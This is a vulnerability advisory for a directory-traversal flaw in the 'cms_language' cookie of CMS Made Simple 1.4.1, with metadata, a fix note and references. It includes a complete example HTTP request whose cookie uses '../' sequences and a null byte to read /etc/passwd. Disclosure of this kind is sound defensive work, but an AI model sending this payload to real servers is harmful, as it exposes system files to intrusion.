CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerability

Bugtraq ID:	32535
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 29 2008 12:00AM
Updated:	Dec 11 2008 05:01AM
Credit:	M4ck-h@cK
Vulnerable:	CMS Made Simple CMS Made Simple 1.4.1
Not Vulnerable:	CMS Made Simple CMS Made Simple 1.5

CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerability

CMS Made Simple is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

CMS Made Simple 1.4.1 is vulnerable; other versions may also be affected.

CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerability

An attacker can exploit this issue with a browser.

The following example HTTP request is available:

GET http://www.example.com/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.example.com
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache

CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerability

Solution:
The vendor has addressed this issue in CMS Made Simple 1.5 and later. Contact the vendor for details on obtaining the appropriate updates.

CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerability

References:

• CMS Made Simple 'cms_language' Cookie Parameter Directory Traversal Vulnerabilit (CMS Made Simple)
  
• CMS Made Simple Homepage (CMS Made Simple)